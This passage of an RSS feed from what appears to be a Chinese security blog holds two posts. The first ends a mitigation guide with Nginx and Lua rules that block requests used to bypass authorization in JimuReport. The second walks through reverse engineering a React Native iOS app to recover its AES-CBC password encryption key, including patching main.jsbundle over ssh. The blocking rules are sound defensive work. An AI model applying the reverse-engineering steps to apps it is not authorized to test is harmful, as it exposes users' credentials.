1.5em;">配置完成后，重启Nginx。再次请求，返回403，说明配置生效。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002866" data-ratio="0.37222222222222223" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=45757ec8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcvgClbibiawoouv4vRPxoynMJHhSZZFK73GPc05QYibHxibASK9peNFic62g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><br/>然而，当参数采用 URL 编码时，可以绕过上述限制。<p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002868" data-ratio="0.30277777777777776" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a62ee5f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcIGuK17fEgvV5qwXXtPBhxaicoib7oVXCWWy97FBictDicISJBogykBFggA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">比较暴力的方法是当URL中含有<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">%</code> 时，返回403。</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (<span style="font-size: inherit;line-height: inherit;color: rgb(98, 151, 85);overflow-wrap: inherit !important;word-break: inherit !important;">$request_uri</span> ~* %) {<br/>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> 403;<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">配置后重启Nginx，再次请求，成功拦截。<br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002869" data-ratio="0.3907407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=79d740b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MXt7gJGh23OPsHibOdyGUVqcf1xclgib7YFm7hocGHuIvTy7zia1MozlBTtvkgL4QAm55D9C6kjxbTWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><br/></figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">另外，当 Nginx 安装了 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">lua-nginx-module</code> 模块时，可以采用如下配置：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">http {<br/>    lua_shared_dict my_cache 10m;<br/>    server {<br/>        listen 80;<br/>         location /jeecgboot {<br/>            access_by_lua_block {<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">local</span> uri = ngx.unescape_uri(ngx.var.request_uri)<br/>                <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> string.match(uri, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;jmLink&#34;</span>) and<br/>                   string.match(uri, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;previousPage&#34;</span>)  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">then</span><br/>                    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> ngx.exit(ngx.HTTP_FORBIDDEN)<br/>                end<br/>            }<br/>            .....<br/>        }<br/>    }<br/>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">通过以上配置，也可以有效防止漏洞被利用，进一步保障系统安全。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x03 总结</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">由于积木报表最新版本仍存在授权绕过漏洞，本文提供了一种简单的缓解措施。当然，防护的方法有很多种，例如直接使用 Web 应用防火墙（WAF）拦截恶意请求，或者在后端增加过滤器来加强安全性。通过这些措施，用户可以暂时降低系统受到攻击的风险，保障系统的稳定与安全。</p><br/></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486523">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6784216f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486523%26idx%3D1%26sn%3De8923691c0de788b457ee6bb036f01c3%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Aug 2024 23:59:00 +0800</pubDate>
    </item>
    <item>
      <title>【IOS逆向】React Native案例</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486494&amp;idx=1&amp;sn=10af5c3d76ca2225775e749430d6ea18</link>
      <description>一个用React Native构建的IOS应用案例，需要获取密码的加密算法。</description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2023-11-23 08:15</span> <span style="display: inline-block;">北京</span>
</p>

<p>一个用React Native构建的IOS应用案例，需要获取密码的加密算法。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9f3f644b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCzn7ibssa5hQboajAGbbF3XskUG3LJB2Q0tXob5aGU8e0D0FSJNpsmKiaSg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;letter-spacing: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x00 前言</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">一个用<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">React Native</code>构建的IOS应用案例，需要获取密码的加密算法。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x01 过程</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">登录抓包，发现密码被加密<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002829" data-ratio="0.874296435272045" title="image.png" data-type="png" data-w="1066" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e3ae786c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznib40FibWLbtzm0z66kmo6yLLdd4NOR7ophRWemibgbsan252pFI43gpdA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>然后对APP进行砸壳<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002830" data-ratio="1.1314814814814815" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2a012643&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCzn8DLPA8750TRlFT2fB0RreFCethbTvYuicfEHWNXiccHewUtCu6jN8yvw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">发现了文件<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code>，这个通常是由 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">React Native</code>框架生成的。<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">React Native</code>是一个流行的跨平台移动应用开发框架，它允许开发者使用<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JavaScript</code> 和 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">React</code> 来构建应用。<br/>使用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">React Native</code> 打包的应用，应用的一部分或全部界面和逻辑是用 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JavaScript</code> 实现的，而<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">JavaScript</code> 代码和资源会被打包成 <code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code> 文件。所以我们可以分析<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code> 文件，将其重命名为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">js</code>后缀，然后打开并格式化。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这里要寻找密码的加密方式，所以搜索<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">password:</code>，经过筛选后定位到下图代码<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002832" data-ratio="0.3675925925925926" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=76cedbdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznNF9mgBX7Oiaoey7JMT41W2Xeunkch0hCvic9dcIw6fO97RSmxD65TsUg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>主要代码<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><br/></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">var</span> e = c.state, t = e.username, n = e.password, l = e.deviceId, o = (<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, r(d[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">21</span>]).uuid)(<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">16</span>),<br/>s = r(d[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">22</span>]).SecurityTools.AES_createKey(), u = {<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">username</span>: t,<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">password</span>: (<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, r(d[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">23</span>]).btoa)(o) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;.&#34;</span> + (<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, r(d[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>]).encrypt)(n, o),<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">rememberMe</span>: !<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">1</span>,<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">language</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;zhCN&#39;</span>,<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">requestFrom</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;app&#39;</span>,<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">_KEY_</span>: s,<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">ClientFlag</span>: <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;PWdCipher&#39;</span>,<br/>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">deviceId</span>: l<br/>};<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">password的话由两部分组成，然后用&#34;.&#34;拼接了起来。<br/>js中<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">(0,函数名)(参数)</code>就相当于函数的调用，如<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002828" data-ratio="0.3411764705882353" title="image.png" data-type="png" data-w="510" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9d186ab9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznY01FVBpeP9PB2bMOmX0ccx1FeueLNlic8HKia84icqpGPlyRMQGzl97icw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">所以password这里可以看作为</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">r(d[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">23</span>]).btoa(o) + <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;.&#34;</span> +  r(d[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">24</span>]).encrypt(n, o)<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;"><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">o</code>是由<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">(0, r(d[21]).uuid)(16)</code>获取的，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">uuid</code> 通常是一个用于生成唯一标识符（UUID）的函数。在这里可能是用来生成一个特定长度为16位的UUID。<br/><code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">btoa</code> 是一个内置的 JavaScript 函数，通常用于Base64 编码。在这里，<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">r(d[23]).btoa</code>可能是对 btoa 函数的引用。因此判断前半部分的话应该是对<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">o</code>进行了base64编码。<br/>根据抓包的结果，password前半部分为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">V2FQRTlMbU5PejBwc0VsSw==</code>，对其进行base64解码，结果为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WaPE9LmNOz0psElK</code>，刚好是16位长度。这里的<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">o</code>对应的内容为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WaPE9LmNOz0psElK</code> 。<br/>后半部分采用了<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">encrypt</code>加密，有2个参数n和o，n为输入的密码（测试的时候输入的是1），当前情况下<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">o</code>为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WaPE9LmNOz0psElK</code> 。<br/>我们搜索<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">encrypt = function \(\w+, \w+\)</code><br/>只有一个结果<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002831" data-ratio="0.45925925925925926" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=cec13741&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCzn3wguyfheAYR0W36Jf9NfvibCZRNOB1bev8ic4W6hYylIB5iahundkAKKw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>采用了AES-CBC加密，参数<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">f</code>为输入的密码，c为16位的随机数（当前情况下c为<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">WaPE9LmNOz0psElK</code>）<br/>接下来就是确定<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">n.default.secretKey</code>的值了。这个应用比较简单，直接查找使用就能找到值。<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002835" data-ratio="0.6898148148148148" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=af902a98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznMActibrOZeb4CWosAyAn9Yia1cQExtvH5nvyJYianBCzAkt32o8UReJag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>成功解密。<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002836" data-ratio="0.6138888888888889" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=81c73470&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznoWl58mGkA2IHYh2rpyMia9iaKdsB8ia8lxKgZj8mfTPziaUCFHdK9boSYA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.5em;margin-bottom: 1.5em;">这是比较顺利的情况，可以直接找到<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">secretKey</code>。如果无法直接找到的话，可以通过插桩的方法来输出<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">secretKey</code>的值。将修改后的文件与<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code>替换，然后重新打包ipa文件，也可以通过直接ssh连接到手机，直接替换<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code>。第一种方法比较麻烦一点，一般都采用第二种。<br/>ssh连接手机，执行命令<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">find / -name &#34;main.jsbundle&#34;</code>来搜索<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code>文件。<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002833" data-ratio="0.18333333333333332" title="image.png" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=8834aaee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fic56Y1PMq5MUDroiaQJ2JJymCyxLAxrCznic6jLv6Cn6MssTGVqyNNwNw2CqPSOMwBk5QuHGClcZ9MjjoAwaCDjrA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><br/>红框中打码的内容为xxxx_app，与ipa解压payload中的一样，所以是这个。<br/>然后通过<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">scp</code>将本地修改好的文件上传到手机上，替换<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">main.jsbundle</code>，重新运行app即可。<br/>插桩的方法也有多种，如可以使用<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">console.log</code>或者<code style="font-size: inherit;line-height: inherit;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">alert</code>输出。<br/><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-imgfileid="100002837" data-ratio="0.45925925925925926" title="image.png" 